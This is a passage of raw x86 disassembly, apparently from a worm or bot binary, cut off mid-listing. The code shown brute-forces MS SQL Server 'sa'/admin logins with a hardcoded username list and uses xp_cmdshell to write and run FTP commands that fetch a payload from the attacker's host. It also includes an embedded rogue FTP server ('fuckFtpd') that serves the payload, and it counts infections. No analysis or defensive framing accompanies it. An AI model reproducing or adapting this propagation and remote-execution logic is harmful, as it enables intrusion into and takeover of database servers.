short loc_404C5D cmp esi, eax jnz short loc_404C5D mov eax, [ebx+4] test eax, eax jnz short loc_404C2E mov eax, offset dword_421258 loc_404C2E: ; CODE XREF: sub_404BCE+59j cmp byte ptr [eax-1], 0FEh jnb short loc_404C5D push 1 mov ecx, edi call sub_404D21 mov eax, [ebx+4] test eax, eax jnz short loc_404C49 mov eax, offset dword_421258 loc_404C49: ; CODE XREF: sub_404BCE+74j mov [edi+4], eax mov ecx, [ebx+8] mov [edi+8], ecx mov ecx, [ebx+0Ch] mov [edi+0Ch], ecx inc byte ptr [eax-1] jmp short loc_404C93 ; --------------------------------------------------------------------------- loc_404C5D: ; CODE XREF: sub_404BCE+4Ej ; sub_404BCE+52j ... push 1 push esi mov ecx, edi call sub_404C9C test al, al jz short loc_404C93 mov eax, [ebx+4] test eax, eax jnz short loc_404C77 mov eax, offset dword_421258 loc_404C77: ; CODE XREF: sub_404BCE+A2j mov ecx, [ebp+arg_4] push esi add eax, ecx push eax push dword ptr [edi+4] call sub_4155D0 mov eax, [edi+4] add esp, 0Ch mov [edi+8], esi and byte ptr [eax+esi], 0 loc_404C93: ; CODE XREF: sub_404BCE+4Aj ; sub_404BCE+8Dj ... mov eax, edi pop edi pop esi pop ebx pop ebp retn 0Ch sub_404BCE endp ; =============== S U B R O U T I N E ======================================= sub_404C9C proc near ; CODE XREF: sub_4046AA+3Dp ; sub_404B1E+28p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx cmp edi, 0FFFFFFFDh jbe short loc_404CAE call sub_41FDB0 loc_404CAE: ; CODE XREF: sub_404C9C+Bj mov ecx, [esi+4] xor edx, edx cmp ecx, edx jz short loc_404CD7 mov al, [ecx-1] cmp al, dl jz short loc_404CD7 cmp al, 0FFh jz short loc_404CD7 cmp edi, edx jnz short loc_404D12 dec al push edx mov [ecx-1], al loc_404CCC: ; CODE XREF: sub_404C9C+47j mov ecx, esi call sub_404D21 loc_404CD3: ; CODE XREF: sub_404C9C+4Bj ; sub_404C9C+52j xor al, al jmp short loc_404D1C ; --------------------------------------------------------------------------- loc_404CD7: ; CODE XREF: sub_404C9C+19j ; sub_404C9C+20j ... cmp edi, edx jnz short loc_404CF0 cmp [esp+8+arg_4], dl jz short loc_404CE5 push 1 jmp short loc_404CCC ; --------------------------------------------------------------------------- loc_404CE5: ; CODE XREF: sub_404C9C+43j cmp ecx, edx jz short loc_404CD3 mov [esi+8], edx mov [ecx], dl jmp short loc_404CD3 ; --------------------------------------------------------------------------- loc_404CF0: ; CODE XREF: sub_404C9C+3Dj cmp [esp+8+arg_4], dl jz short loc_404D0D mov eax, [esi+0Ch] cmp eax, 1Fh ja short loc_404D02 cmp eax, edi jnb short loc_404D1A loc_404D02: ; CODE XREF: sub_404C9C+60j push 1 mov ecx, esi call sub_404D21 jmp short loc_404D12 ; --------------------------------------------------------------------------- loc_404D0D: ; CODE XREF: sub_404C9C+58j cmp [esi+0Ch], edi jnb short loc_404D1A loc_404D12: ; CODE XREF: sub_404C9C+28j ; sub_404C9C+6Fj push edi mov ecx, esi call sub_404DF9 loc_404D1A: ; CODE XREF: sub_404C9C+64j ; sub_404C9C+74j mov al, 1 loc_404D1C: ; CODE XREF: sub_404C9C+39j pop edi pop esi retn 8 sub_404C9C endp ; =============== S U B R O U T I N E ======================================= sub_404D21 proc near ; CODE XREF: sub_4046AA+1Fp ; sub_4046AA+16Ap ... arg_0 = byte ptr 4 cmp [esp+arg_0], 0 push esi mov esi, ecx jz short loc_404D4D mov eax, [esi+4] test eax, eax jz short loc_404D4D lea ecx, [eax-1] mov al, [eax-1] test al, al jz short loc_404D46 cmp al, 0FFh jz short loc_404D46 dec al mov [ecx], al jmp short loc_404D4D ; --------------------------------------------------------------------------- loc_404D46: ; CODE XREF: sub_404D21+19j ; sub_404D21+1Dj push ecx call sub_416477 pop ecx loc_404D4D: ; CODE XREF: sub_404D21+8j ; sub_404D21+Fj ... and dword ptr [esi+4], 0 and dword ptr [esi+8], 0 and dword ptr [esi+0Ch], 0 pop esi retn 4 sub_404D21 endp ; =============== S U B R O U T I N E ======================================= sub_404D5D proc near ; CODE XREF: .nsp0:00404A45p ; sub_404EB6+28p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] push 1 mov esi, ecx push edi call sub_404C9C test al, al jz short loc_404D8B push edi push [esp+0Ch+arg_0] push dword ptr [esi+4] call sub_4155D0 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_404D8B: ; CODE XREF: sub_404D5D+12j mov eax, esi pop edi pop esi retn 8 sub_404D5D endp ; =============== S U B R O U T I N E ======================================= sub_404D92 proc near ; CODE XREF: sub_404BCE+39p ; sub_404BCE+45p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi mov edi, ecx cmp [edi+8], esi jnb short loc_404DA5 call sub_41FFDC loc_404DA5: ; CODE XREF: sub_404D92+Cj mov ecx, edi call sub_404EB6 mov eax, [edi+8] mov ebx, [esp+0Ch+arg_4] sub eax, esi cmp eax, ebx jnb short loc_404DBB mov ebx, eax loc_404DBB: ; CODE XREF: sub_404D92+25j test ebx, ebx jbe short loc_404DF1 mov ecx, [edi+4] sub eax, ebx add ecx, esi push eax lea eax, [ecx+ebx] push eax push ecx call sub_416490 mov esi, [edi+8] add esp, 0Ch sub esi, ebx mov ecx, edi push 0 push esi call sub_404C9C test al, al jz short loc_404DF1 mov eax, [edi+4] mov [edi+8], esi and byte ptr [esi+eax], 0 loc_404DF1: ; CODE XREF: sub_404D92+2Bj ; sub_404D92+53j mov eax, edi pop edi pop esi pop ebx retn 8 sub_404D92 endp ; =============== S U B R O U T I N E ======================================= sub_404DF9 proc near ; CODE XREF: sub_404C9C+79p mov eax, offset loc_42028C call sub_416458 sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+8] or edi, 1Fh mov esi, ecx cmp edi, 0FFFFFFFDh mov [ebp-10h], esp mov [ebp-14h], esi jbe short loc_404E1F mov edi, [ebp+8] loc_404E1F: ; CODE XREF: sub_404DF9+21j and dword ptr [ebp-4], 0 lea eax, [edi+2] test eax, eax jge short loc_404E2C xor eax, eax loc_404E2C: ; CODE XREF: sub_404DF9+2Fj push eax call sub_4167C5 pop ecx mov [ebp+8], eax jmp short loc_404E5D ; --------------------------------------------------------------------------- loc_404E38: ; DATA XREF: .nsp0:00421F0Co mov eax, [ebp+8] mov [ebp-18h], eax add eax, 2 test eax, eax jge short loc_404E47 xor eax, eax loc_404E47: ; CODE XREF: sub_404DF9+4Aj push eax call sub_4167C5 mov [ebp+8], eax pop ecx mov eax, offset loc_404E57 retn ; --------------------------------------------------------------------------- loc_404E57: ; DATA XREF: sub_404DF9+58o mov esi, [ebp-14h] mov edi, [ebp-18h] loc_404E5D: ; CODE XREF: sub_404DF9+3Dj mov eax, [esi+8] test eax, eax jbe short loc_404E7B cmp eax, edi jbe short loc_404E6A mov eax, edi loc_404E6A: ; CODE XREF: sub_404DF9+6Dj push eax mov eax, [ebp+8] push dword ptr [esi+4] inc eax push eax call sub_4155D0 add esp, 0Ch loc_404E7B: ; CODE XREF: sub_404DF9+69j mov ebx, [esi+8] push 1 mov ecx, esi call sub_404D21 mov eax, [ebp+8] inc eax mov [esi+4], eax and byte ptr [eax-1], 0 cmp ebx, edi mov [esi+0Ch], edi ja short loc_404E9B mov edi, ebx loc_404E9B: ; CODE XREF: sub_404DF9+9Ej mov eax, [esi+4] mov ecx, [ebp-0Ch] mov [esi+8], edi and byte ptr [eax+edi], 0 pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_404DF9 endp ; =============== S U B R O U T I N E ======================================= sub_404EB6 proc near ; CODE XREF: sub_404D92+15p push esi push edi mov edi, ecx mov esi, [edi+4] test esi, esi jz short loc_404EE3 mov al, [esi-1] test al, al jz short loc_404EE3 cmp al, 0FFh jz short loc_404EE3 push 1 call sub_404D21 push esi call sub_415CF0 pop ecx push eax push esi mov ecx, edi call sub_404D5D loc_404EE3: ; CODE XREF: sub_404EB6+9j ; sub_404EB6+10j ... pop edi pop esi retn sub_404EB6 endp ; =============== S U B R O U T I N E ======================================= sub_404EE6 proc near ; DATA XREF: .nsp0:00423008o test byte_46979C, 1 jnz short loc_404EF6 or byte_46979C, 1 loc_404EF6: ; CODE XREF: sub_404EE6+7j jmp $+5 push offset nullsub_1 call sub_416840 pop ecx retn sub_404EE6 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404F08 proc near ; CODE XREF: .nsp0:00405188p var_E3C = byte ptr -0E3Ch var_A3C = byte ptr -0A3Ch var_63C = byte ptr -63Ch var_23C = byte ptr -23Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1A = byte ptr -1Ah var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_14 = byte ptr 1Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h arg_B0 = dword ptr 0B8h arg_B4 = dword ptr 0BCh push ebp mov ebp, esp sub esp, 0E3Ch mov al, byte_438FDC push esi mov [ebp+var_1], al push edi lea eax, [ebp+var_14] xor edi, edi push eax mov esi, offset aSa ; "sa" push edi push 1 mov [ebp+var_3C], esi mov [ebp+var_38], offset aRoot ; "root" mov [ebp+var_34], offset aAdmin ; "admin" mov [ebp+var_30], offset aAdministrator ; "administrator" mov [ebp+var_2C], offset aAdministrador ; "administrador" mov [ebp+var_28], offset aAdministrater ; "administrater" mov [ebp+var_24], offset aAdmins ; "admins" mov [ebp+var_20], edi mov [ebp+var_18], edi mov [ebp+var_10], edi mov [ebp+var_8], edi call dword_43A33C test ax, ax jnz short loc_404F84 push 0FFFFFFFAh push 3 push 0C8h push [ebp+var_14] call dword_43A440 test ax, ax jz short loc_404F8B loc_404F84: ; CODE XREF: sub_404F08+63j xor eax, eax jmp loc_405164 ; --------------------------------------------------------------------------- loc_404F8B: ; CODE XREF: sub_404F08+7Aj lea eax, [ebp+var_10] push eax push [ebp+var_14] push 2 call dword_43A33C test ax, ax jnz loc_405157 test esi, esi push ebx jz loc_405148 mov edi, dword_421060 lea eax, [ebp+var_3C] mov [ebp+var_C], eax mov ebx, offset byte_42C1FC loc_404FBD: ; CODE XREF: sub_404F08+1EBj cmp off_42C37C, 0 jz loc_4050E7 mov eax, offset off_42C37C mov esi, eax loc_404FD1: ; CODE XREF: sub_404F08+13Ej lea ecx, [ebp+var_1] push ecx push dword ptr [eax] mov eax, [ebp+var_C] push dword ptr [eax] lea eax, [ebp+arg_4] push [ebp+arg_A0] push eax lea eax, [ebp+var_A3C] push offset aDriverSqlServe ; "DRIVER={SQL Server};SERVER=%s,%d;UID=%s"... push eax call sub_4154E7 add esp, 1Ch lea eax, [ebp+var_1A] push 0 push eax lea eax, [ebp+var_E3C] push 400h push eax lea eax, [ebp+var_A3C] push eax call sub_415CF0 pop ecx push eax lea eax, [ebp+var_A3C] push eax push 0 push [ebp+var_10] call dword_43A3F4 test ax, ax jz short loc_40504D cmp ax, 1 jz short loc_40504D push 1F4h call edi add esi, 4 mov eax, esi cmp dword ptr [esi], 0 jnz short loc_404FD1 jmp loc_4050E7 ; --------------------------------------------------------------------------- loc_40504D: ; CODE XREF: sub_404F08+127j ; sub_404F08+12Dj lea eax, [ebp+var_8] push eax push [ebp+var_10] push 3 call dword_43A33C push ebx push ebx call sub_415543 push eax call sub_415543 push eax push dword_438FFC push [ebp+arg_0] call sub_40A171 pop ecx push eax lea eax, [ebp+var_63C] push offset aExecMaster__xp ; "EXEC master..xp_cmdshell 'del eq&echo o"... push eax call sub_4154E7 add esp, 20h lea eax, [ebp+var_63C] push 0FFFFFFFDh push eax push [ebp+var_8] call dword_43A37C test ax, ax jz short loc_4050DC mov esi, 1388h push esi call edi push ebx lea eax, [ebp+var_63C] push offset aExecMaster___0 ; "EXEC master..xp_cmdshell '%s'" push eax call sub_4154E7 add esp, 0Ch lea eax, [ebp+var_63C] push 0FFFFFFFDh push eax push [ebp+var_8] call dword_43A37C test ax, ax jz short loc_4050F8 push esi call edi loc_4050DC: ; CODE XREF: sub_404F08+19Bj push [ebp+var_8] push 3 call dword_43A3D4 loc_4050E7: ; CODE XREF: sub_404F08+BCj ; sub_404F08+140j add [ebp+var_C], 4 mov eax, [ebp+var_C] cmp dword ptr [eax], 0 jz short loc_405148 jmp loc_404FBD ; --------------------------------------------------------------------------- loc_4050F8: ; CODE XREF: sub_404F08+1CFj cmp [ebp+arg_B4], 0 mov [ebp+var_18], 1 jnz short loc_405126 push 0 lea eax, [ebp+var_23C] push [ebp+arg_B0] push eax lea eax, [ebp+arg_14] push eax push [ebp+arg_0] call sub_412D4C add esp, 14h loc_405126: ; CODE XREF: sub_404F08+1FEj lea eax, [ebp+var_23C] push eax call sub_40B16D mov eax, [ebp+arg_A8] pop ecx imul eax, 3Ch inc dword_427340[eax] lea eax, dword_427340[eax] loc_405148: ; CODE XREF: sub_404F08+9Ej ; sub_404F08+1E9j push [ebp+var_10] push 2 call dword_43A3D4 mov edi, [ebp+var_18] pop ebx loc_405157: ; CODE XREF: sub_404F08+95j push [ebp+var_14] push 1 call dword_43A3D4 mov eax, edi loc_405164: ; CODE XREF: sub_404F08+7Ej pop edi pop esi leave retn sub_404F08 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push esi push edi sub esp, 0BCh lea esi, [ebp+8] mov dword ptr [ebp+0A8h], 599h push 2Fh pop ecx mov edi, esp rep movsd call sub_404F08 push 2Fh lea esi, [ebp+8] pop ecx mov dword ptr [ebp+0A8h], 1BDh mov edi, esp mov [ebp-4], eax rep movsd call sub_403C8B add esp, 0BCh mov [ebp+0C0h], eax push 1 pop eax pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4051BC proc near ; CODE XREF: .nsp0:004053BAp var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_415570 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax call dword_43A3F8 mov [ebp+var_C], eax mov ax, word_426710 push eax call dword_43A3B8 push esi push 1 push 2 mov [ebp+var_E], ax call dword_43A438 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_4052D5 lea eax, [ebp+var_10] push 10h push eax push ebx call dword_43A360 cmp eax, 0FFFFFFFFh jz loc_4052D5 push esi lea eax, [ebp+var_5A0] push 400h push eax push ebx call dword_43A3D0 mov esi, offset byte_42C1FC push esi push esi push dword_438FFC push [ebp+arg_0] call sub_40A171 pop ecx mov edi, 190h push eax push offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user 1 1 >> o "... lea eax, [ebp+var_1A0] push edi push eax call sub_415A6A add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_415CF0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call dword_43A408 cmp eax, 0FFFFFFFFh jz short loc_4052D5 push 1F4h call dword_421060 push esi push offset dword_425050 lea eax, [ebp+var_1A0] push edi push eax call sub_415A6A add esp, 10h lea eax, [ebp+var_1A0] push 0 push eax call sub_415CF0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call dword_43A408 cmp eax, 0FFFFFFFFh jnz short loc_4052D9 loc_4052D5: ; CODE XREF: sub_4051BC+51j ; sub_4051BC+67j ... xor al, al jmp short loc_4052F7 ; --------------------------------------------------------------------------- loc_4052D9: ; CODE XREF: sub_4051BC+117j push 0 lea eax, [ebp+var_5A0] push 400h push eax push ebx call dword_43A3D0 push ebx call dword_43A450 mov al, 1 loc_4052F7: ; CODE XREF: sub_4051BC+11Bj pop edi pop esi pop ebx leave retn sub_4051BC endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 210h push ebx push esi lea eax, [ebp+0Ch] push edi push eax call dword_4211C8 mov esi, eax test esi, esi jnz short loc_405326 lea eax, [ebp+0Ch] push eax call dword_4211D8 mov ebx, eax jmp short loc_40532C ; --------------------------------------------------------------------------- loc_405326: ; CODE XREF: .nsp0:00405316j mov ebx, [ebp+0C0h] loc_40532C: ; CODE XREF: .nsp0:00405324j push 11h push 2 push 2 call dword_4211E0 test esi, esi mov edi, eax jz short loc_405356 movsx eax, word ptr [esi+0Ah] push eax mov eax, [esi+0Ch] push dword ptr [eax] lea eax, [ebp-0Ch] push eax call sub_4155D0 add esp, 0Ch jmp short loc_405359 ; --------------------------------------------------------------------------- loc_405356: ; CODE XREF: .nsp0:0040533Cj mov [ebp-0Ch], ebx loc_405359: ; CODE XREF: .nsp0:00405354j test esi, esi jz short loc_405367 mov ax, [esi+8] mov [ebp-10h], ax jmp short loc_40536D ; --------------------------------------------------------------------------- loc_405367: ; CODE XREF: .nsp0:0040535Bj mov word ptr [ebp-10h], 2 loc_40536D: ; CODE XREF: .nsp0:00405365j push 598h call dword_4211DC mov [ebp-0Eh], ax lea eax, [ebp-10h] push 10h push eax push edi call dword_4211E4 test eax, eax jnz short loc_4053F2 push eax push 152h push offset dword_4265BC push edi call dword_4211EC push 3E8h call dword_421060 sub esp, 0BCh lea esi, [ebp+8] push 2Fh pop ecx mov edi, esp rep movsd call sub_4051BC add esp, 0BCh test al, al jz short loc_4053CE push 1 pop eax jmp short loc_405404 ; --------------------------------------------------------------------------- loc_4053CE: ; CODE XREF: .nsp0:004053C7j lea eax, [ebp-210h] push eax call sub_40B16D mov eax, [ebp+0B0h] pop ecx imul eax, 3Ch inc dword_427340[eax] lea eax, dword_427340[eax] jmp short loc_405402 ; --------------------------------------------------------------------------- loc_4053F2: ; CODE XREF: .nsp0:0040538Bj push 1 push edi call dword_4211CC push edi call dword_4211F0 loc_405402: ; CODE XREF: .nsp0:004053F0j xor eax, eax loc_405404: ; CODE XREF: .nsp0:004053CCj pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405409 proc near ; DATA XREF: sub_407276+226o var_A6C = byte ptr -0A6Ch var_8DC = byte ptr -8DCh var_6DC = dword ptr -6DCh var_6D8 = byte ptr -6D8h var_4C4 = byte ptr -4C4h var_444 = dword ptr -444h var_440 = dword ptr -440h var_438 = dword ptr -438h var_334 = byte ptr -334h var_2D0 = byte ptr -2D0h var_29C = byte ptr -29Ch var_238 = byte ptr -238h var_228 = dword ptr -228h var_224 = dword ptr -224h var_124 = byte ptr -124h var_F8 = byte ptr -0F8h var_C4 = byte ptr -0C4h var_AC = byte ptr -0ACh var_48 = byte ptr -48h var_38 = word ptr -38h var_36 = word ptr -36h var_34 = dword ptr -34h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A6Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 1 mov ecx, 0A9h mov esi, eax lea edi, [ebp+var_6DC] pop ebx rep movsd mov [eax+2A0h], ebx lea eax, [ebp+var_A6C] xor edi, edi push eax push 101h mov [ebp+var_28], ebx mov [ebp+var_18], ebx mov [ebp+var_228], edi mov [ebp+var_438], edi call dword_4211B0 push edi call sub_416AD4 push eax call sub_415539 push 0FA00h push 471h call sub_414098 add esp, 10h mov dword_438FFC, eax push edi push ebx push 2 call dword_4211E0 mov esi, eax lea eax, [ebp+var_28] push 4 push eax push 4 push 0FFFFh push esi mov [ebp+var_C], esi call dword_4211B4 lea eax, [ebp+var_18] push eax push 8004667Eh push esi call dword_4211B8 mov ax, word ptr dword_438FFC mov [ebp+var_38], 2 push eax mov [ebp+var_34], edi call dword_4211DC mov [ebp+var_36], ax lea eax, [ebp+var_38] push 10h push eax push esi call dword_4211BC test eax, eax jge short loc_4054DE mov eax, ebx jmp loc_405A05 ; --------------------------------------------------------------------------- loc_4054DE: ; CODE XREF: sub_405409+CCj push 0Ah push esi call dword_4211C0 mov [ebp+var_228], ebx mov ebx, dword_4211EC mov [ebp+var_224], esi mov [ebp+var_4], esi loc_4054FC: ; CODE XREF: sub_405409+12Cj ; sub_405409+5F4j push 41h lea esi, [ebp+var_228] pop ecx lea edi, [ebp+var_438] rep movsd xor esi, esi lea eax, [ebp+var_438] push esi push esi push esi push eax mov eax, [ebp+var_4] inc eax push eax call dword_4211D0 cmp eax, 0FFFFFFFFh jz loc_405A02 xor edi, edi cmp [ebp+var_4], esi mov [ebp+arg_0], edi jl short loc_4054FC loc_405537: ; CODE XREF: sub_405409+5EEj xor esi, esi push 64h lea eax, [ebp+var_29C] push esi push eax call sub_415570 push 64h lea eax, [ebp+var_AC] push esi push eax call sub_415570 add esp, 18h lea eax, [ebp+var_438] push eax push edi call sub_420106 test eax, eax jz loc_4059F0 cmp edi, [ebp+var_C] jnz short loc_4055EE lea eax, [ebp+var_24] mov [ebp+var_24], 10h push eax lea eax, [ebp+var_238] push eax push [ebp+var_C] call dword_4211C4 cmp eax, 0FFFFFFFFh jz loc_4059F0 xor ecx, ecx cmp [ebp+var_228], esi jbe short loc_4055B8 lea edx, [ebp+var_224] loc_4055A8: ; CODE XREF: sub_405409+1ADj cmp [edx], eax jz short loc_4055B8 inc ecx add edx, 4 cmp ecx, [ebp+var_228] jb short loc_4055A8 loc_4055B8: ; CODE XREF: sub_405409+197j ; sub_405409+1A1j cmp ecx, [ebp+var_228] jnz short loc_4055D6 cmp [ebp+var_228], 40h jnb short loc_4055D6 mov [ebp+ecx*4+var_224], eax inc [ebp+var_228] loc_4055D6: ; CODE XREF: sub_405409+1B5j ; sub_405409+1BEj cmp eax, [ebp+var_4] jle short loc_4055DE mov [ebp+var_4], eax loc_4055DE: ; CODE XREF: sub_405409+1D0j push esi push 15h push offset a220Fuckftpd0wn ; "220 fuckFtpd 0wns j0\n" push eax call ebx jmp loc_4059F0 ; --------------------------------------------------------------------------- loc_4055EE: ; CODE XREF: sub_405409+169j push esi lea eax, [ebp+var_29C] push 64h push eax push edi call dword_4211E8 test eax, eax jg short loc_405655 mov edx, [ebp+var_228] xor ecx, ecx cmp edx, esi jbe short loc_405649 lea eax, [ebp+var_224] loc_405615: ; CODE XREF: sub_405409+216j cmp [eax], edi jz short loc_405623 inc ecx add eax, 4 cmp ecx, edx jb short loc_405615 jmp short loc_405649 ; --------------------------------------------------------------------------- loc_405623: ; CODE XREF: sub_405409+20Ej dec edx cmp ecx, edx jnb short loc_405643 lea eax, [ebp+ecx*4+var_224] loc_40562F: ; CODE XREF: sub_405409+238j mov edx, [eax+4] inc ecx mov [eax], edx mov edx, [ebp+var_228] add eax, 4 dec edx cmp ecx, edx jb short loc_40562F loc_405643: ; CODE XREF: sub_405409+21Dj dec [ebp+var_228] loc_405649: ; CODE XREF: sub_405409+204j ; sub_405409+218j push edi call dword_4211F0 jmp loc_4059F0 ; --------------------------------------------------------------------------- loc_405655: ; CODE XREF: sub_405409+1F8j lea eax, [ebp+var_334] push eax lea eax, [ebp+var_AC] push eax lea eax, [ebp+var_29C] push offset aSS ; "%s %s" push eax call sub_416AA0 lea eax, [ebp+var_AC] push offset aUser_0 ; "USER" push eax call sub_415910 add esp, 18h test eax, eax jnz short loc_405699 push esi push 16h push offset a331PasswordReq ; "331 Password required\n" jmp loc_4059DB ; --------------------------------------------------------------------------- loc_405699: ; CODE XREF: sub_405409+281j lea eax, [ebp+var_AC] push offset aPass ; "PASS" push eax call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_4056BD push esi push 14h push offset a230UserLoggedI ; "230 User logged in.\n" jmp loc_4059DB ; --------------------------------------------------------------------------- loc_4056BD: ; CODE XREF: sub_405409+2A5j lea eax, [ebp+var_AC] push offset aSyst ; "SYST" push eax call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_4056E1 push esi push 0Dh push offset a215Fuckftpd ; "215 fuckFtpd\n" jmp loc_4059DB ; --------------------------------------------------------------------------- loc_4056E1: ; CODE XREF: sub_405409+2C9j lea eax, [ebp+var_AC] push offset aRest ; "REST" push eax call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_405705 push esi push 10h push offset a350Restarting_ ; "350 Restarting.\n" jmp loc_4059DB ; --------------------------------------------------------------------------- loc_405705: ; CODE XREF: sub_405409+2EDj lea eax, [ebp+var_AC] push offset off_426918 push eax call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_405729 push esi push 1Eh push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n" jmp loc_4059DB ; --------------------------------------------------------------------------- loc_405729: ; CODE XREF: sub_405409+311j lea eax, [ebp+var_AC] push offset aType ; "TYPE" push eax call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_405764 lea eax, [ebp+var_334] push offset aA ; "A" push eax call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_405764 push esi push 13h push offset a200TypeSetToA_ ; "200 Type set to A.\n" jmp loc_4059DB ; --------------------------------------------------------------------------- loc_405764: ; CODE XREF: sub_405409+335j ; sub_405409+34Cj lea eax, [ebp+var_AC] push offset aType ; "TYPE" push eax call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40579F lea eax, [ebp+var_334] push offset aI ; "I" push eax call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40579F push esi push 13h push offset a200TypeSetToI_ ; "200 Type set to I.\n" jmp loc_4059DB ; --------------------------------------------------------------------------- loc_40579F: ; CODE XREF: sub_405409+370j ; sub_405409+387j lea eax, [ebp+var_AC] push offset aPasv ; "PASV" push eax call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_4057ED push 0Ah mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"... pop ecx lea edi, [ebp+var_124] rep movsd push eax lea eax, [ebp+var_124] push eax movsw call sub_415CF0 pop ecx push eax lea eax, [ebp+var_124] loc_4057DD: ; CODE XREF: sub_405409+423j push eax push [ebp+arg_0] call ebx xor esi, esi loc_4057E5: ; CODE XREF: sub_405409+4F3j mov edi, [ebp+arg_0] jmp loc_4059DE ; --------------------------------------------------------------------------- loc_4057ED: ; CODE XREF: sub_405409+3ABj lea eax, [ebp+var_AC] push offset aList ; "LIST" push eax call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40582E push 5 mov esi, offset a226TransferCom ; "226 Transfer complete\n" pop ecx lea edi, [ebp+var_C4] rep movsd movsw push eax lea eax, [ebp+var_C4] push eax movsb call sub_415CF0 pop ecx push eax lea eax, [ebp+var_C4] jmp short loc_4057DD ; --------------------------------------------------------------------------- loc_40582E: ; CODE XREF: sub_405409+3F9j lea eax, [ebp+var_AC] push offset aPort ; "PORT" push eax call sub_415910 pop ecx test eax, eax pop ecx jnz loc_405901 lea eax, [ebp+var_2D0] push eax lea eax, [ebp+var_F8] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_29C] push offset aS ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"... push eax call sub_416AA0 lea eax, [ebp+var_F8] push eax call sub_415A5F mov edi, eax lea eax, [ebp+var_2D0] push eax call sub_415A5F mov [ebp+var_8], eax push 32h lea eax, [ebp+var_F8] push esi push eax call sub_415570 push [ebp+var_8] lea eax, [ebp+var_F8] push edi push offset aXX ; "%x%x\n" push eax call sub_4154E7 add esp, 44h lea eax, [ebp+var_F8] push 10h push esi push eax call sub_416A89 mov [ebp+var_8], eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_48] push offset aS_S_S_S ; "%s.%s.%s.%s" push eax call sub_4154E7 add esp, 24h push esi push 1Dh push offset a200PortCommand ; "200 PORT command successful.\n" push [ebp+arg_0] call ebx jmp loc_4057E5 ; --------------------------------------------------------------------------- loc_405901: ; CODE XREF: sub_405409+43Aj lea eax, [ebp+var_AC] push offset aRetr ; "RETR" push eax call sub_415910 pop ecx test eax, eax pop ecx jnz loc_4059BC push esi push 28h push offset a150OpeningBina ; "150 Opening BINARY mode data connection"... push edi call ebx push [ebp+var_8] lea eax, [ebp+var_48] push eax call sub_405A0C pop ecx cmp eax, 1 pop ecx jnz short loc_4059B2 call sub_405A89 cmp eax, 1 jnz loc_4059DE push esi push 17h push offset a226TransferC_0 ; "226 Transfer complete.\n" push edi call ebx lea eax, [ebp+var_6D8] push eax lea eax, [ebp+var_48] push dword_438FFC push eax lea eax, [ebp+var_8DC] push offset dword_42675C push eax call sub_4154E7 add esp, 14h cmp [ebp+var_440], esi jnz short loc_4059A3 push esi lea eax, [ebp+var_8DC] push [ebp+var_444] push eax lea eax, [ebp+var_4C4] push eax push [ebp+var_6DC] call sub_412D4C add esp, 14h loc_4059A3: ; CODE XREF: sub_405409+575j lea eax, [ebp+var_8DC] push eax call sub_40B16D pop ecx jmp short loc_4059DE ; --------------------------------------------------------------------------- loc_4059B2: ; CODE XREF: 